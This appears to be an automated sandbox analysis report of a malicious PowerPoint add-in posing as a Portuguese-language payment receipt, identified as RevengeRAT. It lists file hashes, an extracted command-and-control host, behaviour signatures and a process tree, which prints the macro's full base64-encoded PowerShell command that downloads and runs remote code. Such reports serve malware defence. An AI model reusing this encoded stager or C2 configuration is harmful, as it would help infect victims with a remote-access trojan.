Analysis

  • max time kernel
    144s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-03-2024 08:00

General

  • Target

    Comrpovante de pagamento.ppa

  • Size

    88KB

  • MD5

    ff08378dd83e84df74a9ce07f5105aa2

  • SHA1

    2ba229ede6c3b0a53e966d6f491e556b8b9efe72

  • SHA256

    994fbd9bbcb4586bcc97a0c0fb48f08b3af8acac284624c84d2d102fb1f3762e

  • SHA512

    f09ce3a2e8a21979c8d8060ee8206cc6d4146a80176a3f243f35fa0f8f021ec349fb3474ff0635c3543092c34ad6bcb5898895c37d05763f6945fc42fa8ca1fc

  • SSDEEP

    768:0cOoejkNcs+kozxpxWMjcXocyNumLu8J7icjo:0WejkNcsuzxpxWbYT1u

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

craxsrat.ddns.com.br:333

Mutex

27d7e6701f5e

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Checks processor information in registry 2 TTPs 5 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Comrpovante de pagamento.ppa"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1104
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHQAZQBzAHQAaQBuAGcALQBlAGEAZgAyADgALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBrAGUAbgA9AGIAOAA1AGIANABiADMANAAtADQAZgBiADkALQA0ADgANAAwAC0AYQAxAGQANwAtADMAMgA3AGEAZABlAGIAZQAwAGMANAA0AA0ACgAnACkAOwAgAA0ACgBHAHoATQBJAFQAWgBQAFIAVwBhAFQATQBvAEMAVwBiAGEAUwBNAFcAQgBkAEgASwBhAG8AcgBJAGMAdwBkAFkAbwBpAHoAeQBWAFIAdgBSAEkAUgBNAGYASABLAHoAawBYAEMAcwBwAFcAUwBIAGMAcwBjAEgARwBrAGgAUQBtAFcAVQB6AEsASABEAGgAawBHAHkAbwBMAHMAQwBkAHMAVABpAE0ADQAKAA==""
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3704
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        3⤵
        • Checks processor information in registry
        PID:3520
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=756 --field-trial-handle=3488,i,1267426273081718772,6254127258555406296,262144 --variations-seed-version /prefetch:8
    1⤵
      PID:4452

    Network

    MITRE ATT&CK Matrix ATT&CK v13

    Discovery

    Query Registry

    3
    T1012

    System Information Discovery

    2
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hkc0whsq.s12.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1104-53-0x0000023892730000-0x0000023893700000-memory.dmp
      Filesize

      15.8MB

    • memory/1104-113-0x00007FFEE5050000-0x00007FFEE5060000-memory.dmp
      Filesize

      64KB

    • memory/1104-1-0x00007FFEE5050000-0x00007FFEE5060000-memory.dmp
      Filesize

      64KB

    • memory/1104-54-0x0000023892730000-0x0000023893700000-memory.dmp
      Filesize

      15.8MB

    • memory/1104-5-0x00007FFEE5050000-0x00007FFEE5060000-memory.dmp
      Filesize

      64KB

    • memory/1104-6-0x00007FFEE5050000-0x00007FFEE5060000-memory.dmp
      Filesize

      64KB

    • memory/1104-7-0x00007FFF24FD0000-0x00007FFF251C5000-memory.dmp
      Filesize

      2.0MB

    • memory/1104-8-0x00007FFF24FD0000-0x00007FFF251C5000-memory.dmp
      Filesize

      2.0MB

    • memory/1104-9-0x00007FFF24FD0000-0x00007FFF251C5000-memory.dmp
      Filesize

      2.0MB

    • memory/1104-10-0x00007FFF24FD0000-0x00007FFF251C5000-memory.dmp
      Filesize

      2.0MB

    • memory/1104-11-0x00007FFF24FD0000-0x00007FFF251C5000-memory.dmp
      Filesize

      2.0MB

    • memory/1104-12-0x00007FFF24FD0000-0x00007FFF251C5000-memory.dmp
      Filesize

      2.0MB

    • memory/1104-14-0x00007FFF24FD0000-0x00007FFF251C5000-memory.dmp
      Filesize

      2.0MB

    • memory/1104-13-0x00007FFEE2F50000-0x00007FFEE2F60000-memory.dmp
      Filesize

      64KB

    • memory/1104-15-0x00007FFEE2F50000-0x00007FFEE2F60000-memory.dmp
      Filesize

      64KB

    • memory/1104-27-0x0000023891A00000-0x0000023892200000-memory.dmp
      Filesize

      8.0MB

    • memory/1104-49-0x0000023891A00000-0x0000023892200000-memory.dmp
      Filesize

      8.0MB

    • memory/1104-0-0x00007FFEE5050000-0x00007FFEE5060000-memory.dmp
      Filesize

      64KB

    • memory/1104-4-0x00007FFF24FD0000-0x00007FFF251C5000-memory.dmp
      Filesize

      2.0MB

    • memory/1104-3-0x00007FFF24FD0000-0x00007FFF251C5000-memory.dmp
      Filesize

      2.0MB

    • memory/1104-57-0x0000023892730000-0x0000023893700000-memory.dmp
      Filesize

      15.8MB

    • memory/1104-56-0x0000023892730000-0x0000023893700000-memory.dmp
      Filesize

      15.8MB

    • memory/1104-61-0x00007FFF24FD0000-0x00007FFF251C5000-memory.dmp
      Filesize

      2.0MB

    • memory/1104-62-0x0000023891A00000-0x0000023892200000-memory.dmp
      Filesize

      8.0MB

    • memory/1104-63-0x0000023891A00000-0x0000023892200000-memory.dmp
      Filesize

      8.0MB

    • memory/1104-64-0x0000023892730000-0x0000023893700000-memory.dmp
      Filesize

      15.8MB

    • memory/1104-65-0x0000023891A00000-0x0000023892200000-memory.dmp
      Filesize

      8.0MB

    • memory/1104-66-0x0000023891A00000-0x0000023892200000-memory.dmp
      Filesize

      8.0MB

    • memory/1104-2-0x00007FFEE5050000-0x00007FFEE5060000-memory.dmp
      Filesize

      64KB

    • memory/1104-115-0x00007FFEE5050000-0x00007FFEE5060000-memory.dmp
      Filesize

      64KB

    • memory/1104-117-0x00007FFF24FD0000-0x00007FFF251C5000-memory.dmp
      Filesize

      2.0MB

    • memory/1104-119-0x00007FFF24FD0000-0x00007FFF251C5000-memory.dmp
      Filesize

      2.0MB

    • memory/1104-118-0x00007FFF24FD0000-0x00007FFF251C5000-memory.dmp
      Filesize

      2.0MB

    • memory/1104-116-0x00007FFF24FD0000-0x00007FFF251C5000-memory.dmp
      Filesize

      2.0MB

    • memory/1104-114-0x00007FFEE5050000-0x00007FFEE5060000-memory.dmp
      Filesize

      64KB

    • memory/1104-55-0x0000023891A00000-0x0000023892200000-memory.dmp
      Filesize

      8.0MB

    • memory/1104-112-0x00007FFEE5050000-0x00007FFEE5060000-memory.dmp
      Filesize

      64KB

    • memory/3520-102-0x0000000005AD0000-0x0000000006074000-memory.dmp
      Filesize

      5.6MB

    • memory/3520-103-0x00000000056F0000-0x0000000005700000-memory.dmp
      Filesize

      64KB

    • memory/3520-121-0x00000000056F0000-0x0000000005700000-memory.dmp
      Filesize

      64KB

    • memory/3520-120-0x0000000074790000-0x0000000074F40000-memory.dmp
      Filesize

      7.7MB

    • memory/3520-105-0x0000000006080000-0x00000000060E6000-memory.dmp
      Filesize

      408KB

    • memory/3520-96-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/3520-104-0x0000000005A00000-0x0000000005A9C000-memory.dmp
      Filesize

      624KB

    • memory/3520-100-0x0000000074790000-0x0000000074F40000-memory.dmp
      Filesize

      7.7MB

    • memory/3704-99-0x00007FFEF5AC0000-0x00007FFEF6581000-memory.dmp
      Filesize

      10.8MB

    • memory/3704-82-0x000001F4FAFA0000-0x000001F4FAFC0000-memory.dmp
      Filesize

      128KB

    • memory/3704-90-0x000001F4FAFA0000-0x000001F4FAFB8000-memory.dmp
      Filesize

      96KB

    • memory/3704-95-0x000001F4FAFC0000-0x000001F4FAFC1000-memory.dmp
      Filesize

      4KB

    • memory/3704-86-0x000001F4FAFA0000-0x000001F4FAFB8000-memory.dmp
      Filesize

      96KB

    • memory/3704-84-0x000001F4FAFA0000-0x000001F4FAFB8000-memory.dmp
      Filesize

      96KB

    • memory/3704-83-0x000001F4FAFA0000-0x000001F4FAFB8000-memory.dmp
      Filesize

      96KB

    • memory/3704-88-0x000001F4FAFA0000-0x000001F4FAFB8000-memory.dmp
      Filesize

      96KB

    • memory/3704-80-0x000001F4FAA30000-0x000001F4FAA40000-memory.dmp
      Filesize

      64KB

    • memory/3704-81-0x000001F4FAA30000-0x000001F4FAA40000-memory.dmp
      Filesize

      64KB

    • memory/3704-79-0x00007FFEF5AC0000-0x00007FFEF6581000-memory.dmp
      Filesize

      10.8MB

    • memory/3704-78-0x000001F4FAC30000-0x000001F4FAC52000-memory.dmp
      Filesize

      136KB

    • memory/3704-94-0x000001F4FAFA0000-0x000001F4FAFB8000-memory.dmp
      Filesize

      96KB

    • memory/3704-92-0x000001F4FAFA0000-0x000001F4FAFB8000-memory.dmp
      Filesize

      96KB